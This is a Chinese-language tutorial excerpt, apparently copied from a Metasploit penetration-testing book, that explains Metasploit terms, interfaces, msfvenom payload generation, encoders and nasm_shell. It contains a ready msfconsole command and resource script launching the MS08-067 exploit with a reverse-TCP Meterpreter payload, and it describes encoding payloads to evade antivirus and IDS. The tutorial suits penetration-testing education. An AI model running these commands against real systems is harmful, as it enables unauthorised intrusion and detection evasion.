metasploit

Metasploit基础

    • 专业术语
    • 渗透攻击(exploit)
    • 攻击载荷(payload)
    • shellcode
    • 模块(module)
    • 监听器(Listener)
    • Metasploit用户接口
    • MSF终端
    • MSF命令行
    • Metasploit功能程序
    • MSF攻击载荷生成器
    • MSF编码器
    • nasm shell

专业术语

以下大部分基础术语是在Metasploit框架上下文环境进行定义的,但是它们的含义在整个安全界都是通用的。

渗透攻击(exploit)

渗透攻击是指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。攻击者使用渗透攻击去入侵系统时,往往会造成开发者所没有预料到的结果。流行的渗透攻击技术包括缓冲区溢出、web应用程序漏洞攻击(如sql注入),及利用配置错误等。

攻击载荷(payload)

攻击载荷是我们期望目标系统在被渗透攻击之后去执行的代码,在metasploit框架中可以自由的选择,传送,植入。列如:反弹式shell是一种从目标主机到攻击主机创建网络连接
,并提供Windows命令行shell的攻击载荷,而bindshell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户等。

shellcode

shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常以汇编语言编写。大多数情况下,目标系统执行了shellcode一组指令后,才会提供一个命令行的shell或者meterpreter shell,这也是shellcode名称由来。

模块(module)

一个模块是指metasploit框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(exploit module),也就是用于实际发起渗透攻击的软件组件。而在其他时候,你则可以使用一个辅助模块(auxiliary module),用来执行一些诸如扫描或系统查点的攻击动作。这些在不断变化和发展中的模块才是使metasploit框架如此强大的核心。

监听器(Listener)

监听器是metasploit中用来等待连入网络连接的组件,举例来说,在目标主机被渗透攻击之后,他可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。

Metasploit用户接口

Metasploit软件为它的基础功能提供了多个用户接口,包括终端,命令行和图形化界面等。除了这些接口之外,功能程序则提供了对Metasploit框架中内部功能的直接访问,这些功能程序对于渗透代码开发,以及在一些你不需要整体框架的灵活性的场合非常有价值。

MSF终端

MSF终端是目前Metasploit框架最为流行的用户接口,而这也是非常自然的,因为MSF终端是Metasploit框架中最灵活的、功能最丰富以及支持最好的工具之一。MSF终端提供了一站式的接口,能够访问Metasploit框架中几乎每一个选项和配置,就好比是你能够实现所有渗透攻击梦想的大超市。你可以使用MSF终端做任何事,包括发起一次渗透攻击、装载辅助模块、实施查点、创建监听器,或者对整个网络进行自动化渗透攻击。
尽管Metasploit框架在不断的发展和更新中,但他的命令集合还是保持着相对的稳定。通过熟练掌握MSF终端的基本使用方法,你可以跟上Metasploit的所有更新。

MSF命令行

在Metasploit的早期版本中,msfcli命令行工具和MSF终端为Metasploit框架访问提供了两种非常不同的途径,MSF终端以一种用户友好的模式来提供交互方式,用于访问所有的功能特性,而msfcli则主要考虑对脚本处理和其他命令行工具的互操作性。msfcli可以直接从命令行shell执行,并允许你将其他工具的输出重定向至msfcli中,以及将msfcli的输出重定向给其他的命令行工具。
在2015年1月份,Metasploit官方宣布不再支持msfcli命令行工具,作为替代,建议使用MSF终端的 -x选项。比如需要命令行进行MS08-067漏洞的渗透利用,可以使用如下命令:

./msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST [IP]; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [IP]; run"

此外还可以充分的利用MSF终端提供的资源脚本和命令化名(alias)等特性,来减少命令行中输入字符数量,如同样使用MS08-067模块的资源脚本,你可以先编写如下自动化运行的MS08-067模块的资源脚本/home/script/reverse_tcp.rc:

use exploit/windows/smb/ms08_067_netapi
set RHOST [IP]
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [IP]
run

然后使用MSF终端的“-r”选项执行如下命令:

./msfconsole -r /home/script/reverse_tcp.rc

Metasploit功能程序

在为你引见了Metasploit的三个主要用户接口之后,现在可以来介绍一些Metasploit功能程序了。Metasploit的功能程序是在某些特定场合下,对Metasploit框架中的一些特殊功能进行直接访问的接口,在渗透代码开发过程中特别有用。我们在这里介绍几个最为常用的Metasploit功能程序。

MSF攻击载荷生成器

MSF攻击载荷生成器允许你能够生成shellcode、可执行代码和其他更多的东西,也可以让它们在框架软件之外的渗透代码中进行使用。
shellcode可以生成包括C、Javascript、甚至应用程序中Visual Basic脚本在内的多种格式,每种输出的格式在不同的场景中使用。比如,你在使用Python语言编写一个渗透攻击的概念验证代码POC,那么C语言格式的输出是最好的;如果你在编写一个浏览器渗透攻击代码,那么以Javascript语言方式输出的shellcode将是最适合的,在你选择了你所期望的输出之后,你可以简单地将这个攻击载荷直接的加入到一个HTML文件中来触发渗透攻击。
在Metasploit的早期版本中,msfpayload功能程序来进行MSF攻击载荷的生成。在2015年之后的版本中,msfpayload已被弃用,而以集成了攻击载荷生成和编码的msfvenom功能程序代替。
如需查看msfvenom这个功能程序需要哪些配置选项,在命令行中输入msfvenom -h。

MSF编码器

由MSF攻击载荷生成器产生的shellcode是完全可运行的,但是其中包括了一些null空字符,在一些程序进行解析时,这些空字符会被认作是字符串的结束,从而使得代码在完整执行之前被截断而终止运行,简单来说,这些\x00和\xff字符会破坏你的攻击载荷。
另外,在网络上明文传输的shellcode很可能被入侵检测系统(IDS)和杀毒软件所识破,为解决这一问题,Metasploit的开发者们提供了MSF编码器,可以帮助你通过对原始攻击载荷进行编码的方式,来避免坏字符,以及逃避杀毒软件和IDS的检测。
Metasploit中包含了一系列可用于不同场景下的编码器,一些编码器在你只能使用字母与数字字符来构造攻击载荷时非常有用,而这种场景往往会出现在很多文件格式的渗透攻击中,或者其他应用软件只接受可打印字符作为输入时。而另外一些更为通用化的编码器通常在普遍场景中都表现得很好。
在遭遇麻烦得时候,你可能需要求助于最强大的x86/shinkata_ga_nai编码器,在Metasploit中唯一一个拥有Excellent等级的编码器,而这种等级是基于一个模块的可靠性和稳定性来进行评价的。对于编码器,一个Excellent的评价代表着他的应用面最广,并且较其他编码器可以容纳更大程度的代码微调。如果需要查看有哪些可用的编码器以及它们的等级,你可以使用msfvenom -l encoders命令。

nasm shell

nasm_shell.rb功能程序在你尝试了解汇编代码含义时是个非常有用的手头工具,特别是当你进行渗透代码开发时,你需要对给定的汇编命令找出它的opcode操作码,那你就可以使用这个功能程序来帮助你。

(以上内容摘抄自《metasploit渗透测试指南》第二章节)

你可能感兴趣的:(metasploit)